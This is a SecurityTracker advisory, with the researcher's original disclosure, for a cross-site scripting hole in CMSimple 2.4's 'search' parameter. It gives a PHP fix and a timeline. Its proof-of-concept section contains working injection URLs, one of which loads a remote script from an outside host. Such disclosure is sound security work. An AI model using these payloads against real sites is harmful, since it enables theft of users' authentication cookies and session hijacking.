CMSimple Input Validation Hole in 'index.php' in 'search' Parameter Permits Cross-Site Scripting Attacks
|
|
SecurityTracker Alert ID: 1014556 |
|
SecurityTracker URL: http://securitytracker.com/id/1014556
|
|
CVE Reference:
CVE-2005-2392
(Links to External Site)
|
Updated: Jul 6 2008
|
Original Entry Date: Jul 22 2005
|
Impact:
Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
|
Fix Available: Yes Vendor Confirmed: Yes Exploit Included: Yes
|
Version(s): 2.4 and prior versions
|
Description:
Lostmon reported a vulnerability in CMSimple. A remote user can conduct cross-site scripting attacks.
The 'index.php' script does not properly filter HTML code from user-supplied input in the 'search' parameter. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the CMSimple software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
The vendor was notified on July 20, 2005.
|
Impact:
A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the CMSimple software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
|
Solution:
A fix for version 2.4 is described at:
http://www.cmsimple.dk/forum/viewtopic.php?t=2470
The fix will be added to the next beta version.
|
Vendor URL: www.cmsimple.dk/ (Links to External Site)
|
Cause:
Input validation error
|
Underlying OS:
Linux (Any), UNIX (Any), Windows (Any)
|
|
Message History:
None.
|
Source Message Contents
|
Date: Thu, 21 Jul 2005 13:14:30 +0200
Subject: CMSimple 'search' variable XSS
|
##############################################
CMSimple 'search' variable XSS
Vendor urL:http://www.cmsimple.dk/
Advisory:http://lostmon.blogspot.com/2005/07/
cmsimple-search-variable-xss.html
vendor Url fix:http://www.cmsimple.dk/forum/viewtopic.php?t=2470
Vendor confirmed:YES exploit available:yes
##############################################
CMSimple is a simple content management system; for the smart
maintenance of small commercial or private sites.
It is simple - small - smart!
CMSimple contains a flaw that allows a remote cross site scripting
attack.This flaw exists because the application does not validate
'search' variable upon submission to 'index.php' script.This could
allow a user to create a specially crafted URL that would execute
arbitrary code in a user's browser within the trust relationship
between the browser and the server, leading to a loss of integrity.
Index.php file contains only a include to cmsimple/cms.php file.
#############
VERSIONS
#############
CMSimple 2.4 and earlier versions
#############
Solution
#############
vendor fix:
http://www.cmsimple.dk/forum/viewtopic.php?t=2470
Fix:
function printlink(){global
$f,$search,$file,$sn,$su,$tx;$t=amp().'print';if($f=='search')$t.=amp().'function=search'.amp().'search='.$search;
should be replaced with:
function printlink(){global
$f,$search,$file,$sn,$su,$tx;$t=amp().'print';if($f=='search')$t.=amp().'function=search'.amp().'search='.htmlspecialchars(stripslashes($search));
Will be fixed in next beta.
#############
Timeline
#############
discovered: 13-07-2005
vendor notify:20-07-2005
vendor response:21-07-2005
vendor fix:21-07-2005
disclosure:21-07-2005
################
Proof of concept
################
http://[victim]/index.php?&print&function=search&search=
"><script%20src=http://www.drorshalev.com/dev/
injection/js.js></script>
http://[victim]/?function=search&search=[XSS-CODE]
http://[victim]/?&print&function=search&search=[XSS-CODE]
http://[victim]/?License&function=search&search=[XSS-CODE]
http://[victim]/?Resellers&function=search&search=[XSS-CODE]
http://[victim]/?&guestbook&function=search&search=[XSS-CODE]
###################### €nd #########################
Thnx to estrella to be my ligth
thnx to http://www.drorshalev.com/ for hosting 'js.js' script
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
--
La curiosidad es lo que hace mover la mente....
|
|